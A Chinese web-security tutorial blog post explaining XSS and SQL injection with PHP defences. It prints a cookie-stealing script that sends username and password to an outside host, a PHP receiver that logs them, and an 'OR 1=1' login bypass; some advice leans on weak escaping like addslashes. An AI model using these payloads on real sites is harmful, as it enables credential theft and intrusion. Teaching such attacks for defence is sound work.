一文搞懂XSS攻击和SQL注入

Posted autofelix

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文搞懂XSS攻击和SQL注入相关的知识,希望对你有一定的参考价值。

〝 古人学问遗无力,少壮功夫老始成 〞

在做网站开发时候,我们经常会遇到各种各样的黑客攻击,其中最常见的就是XSS攻击和SQL注入了,如果一个网站没有做好这两种安全预防措施,造成的结果是很及其严重的。如果这篇文章能给你带来一点帮助,希望给飞兔小哥哥一键三连,表示支持,谢谢各位小伙伴们。

目录

一、 XSS攻击和SQL注入

二、初级XSS攻击

 三、高级XSS攻击

四、XSS预防

五、SQL注入

六、SQL注入解决


一、 XSS攻击和SQL注入

  • XSS攻击:跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的
  • SQL注入:(SQL Injection)就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说就是用户恶意输入sql命令,导致最终数据库查询的结果并不是按照常理出现的结果

二、初级XSS攻击

  • 比如在一般文章的详情页中有评论功能
  • 如果用户在评论框中写的不是正常的评论语句,而是下面这样的语句
  • 而网站并没有做任何检测和转义就存入数据库中的话
  • 其他用户进来后,因为评论要显示,就会执行这个代码了

 三、高级XSS攻击

  • 当然,上面的仅仅只是恶趣味而已,也不会对网站和安全造成多大的隐患
  • 只要开发人员删除这条评论再加上检测机制即可
  • 但是真正想要进行XSS攻击的人是不会仅仅满足于这种恶趣味
  • 他可能更加的想要获取用户的账号和密码等信息
  • 用户一般登录后,他的基础信息可能会存在cookie中,这个时候就可以通过XSS攻击进行获取用户的cookie信息
  • 用户使用hack.js发送了一个get请求,将用户的cookie发送到了指定后端服务器进行处理保存
  • 这样黑客就能获取到你客户端上的cookie信息了并且使用你的账号进行登录了

/** hack.js 获取用户cookie信息并且发送get请求 **/
var uname=CookieHelper.getCookie('username').value;
var pwd=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://autofelix.com/index.php?username='+uname+'&password='+pwd;
document.body.appendChild(script);
// index.php 保存用户的用户名和密码
<?php
    if(!empty($_GET['password']))
    {

        $username = $_GET['username'];
        $password = $_GET['password'];
        
        try {
            $path = __ROOT__ . '/password.txt';
            $fp = fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\\t $password\\r\\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        } catch (Exception $e){}
    }

四、XSS预防

  • 当然上面只是阐述了一种简单的XSS攻击手段,还有很多隐蔽的手段
  • 因此我们解决的办法就是不要信任用户的任何输入
  • 对用户的输入内容进行特殊字符转义等操作即可,可以从根本上解决这个问题
  • 比如PHP中常见解决XSS攻击的方法是,如果用户输入内容,可进行如下处理
<?php
//接收用户评论内容
$content = $_GET['content'];

//xss攻击解决
$content = trim($content);
$content = addslashes($content);
$content = htmlspecialchars($content);

//进行入库

五、SQL注入

  • 比如用户账号密码登录的时候,需要用户输入账号和密码
  • 然后程序进行数据库比对,比对成功才能够登录成功
  • 可是有时候用户并不是正常的输入账号密码,而是输入sql语句进行瞒天过海,绕过系统的比对,也能够登录成功
  • 比如下面,黑客并不知道autofelix账号的密码,但是他输入了一段语句
  • 如果系统没有做检测,就可以绕过密码的比对,而直接登录autofelix的账号

//正常的比对账号密码的语句
select * from users where uname='autofelix' and password='xxxxx' limit 1;
//sql注入,因为加了or 1=1 导致密码无需去校验, 只要账号存在即可
select * from users where uname='autofelix' and password=1 OR 1=1 limit 1;

六、SQL注入解决

  • 不仅仅是在用户登录的时候,SQL语句可以被注入,其他任何用户的数据只要参与执行,都有可能被注入
  • SQL注入的危害非常之大,有时候甚至可以删除服务器上的整个数据库
  • 所以SQL注入必须要被解决,解决方法如下:
  • 在业务逻辑上预防,比如要求用户名只能由特定的字符组成(比如数字字母下划线)(使用正则表达式)
  •  最常用的方式是使用PHP函数addslashes
  • 使用mysql提供的数据转义函数:mysql_real_escape_string($data, $link);不过有一个前提是必须连接上数据库之后才可以使用!
  • 使用预处理技术,因为预处理是强制将sql语句的结构和数据部分分开
<?php
//strip_tags(trim($data)是防止JS注入的
addslashes(strip_tags(trim($data)))

以上是关于一文搞懂XSS攻击和SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

Spring Boot 如果防护 XSS + SQL 注入攻击 ?一文带你搞定!

一文搞懂SQL注入攻击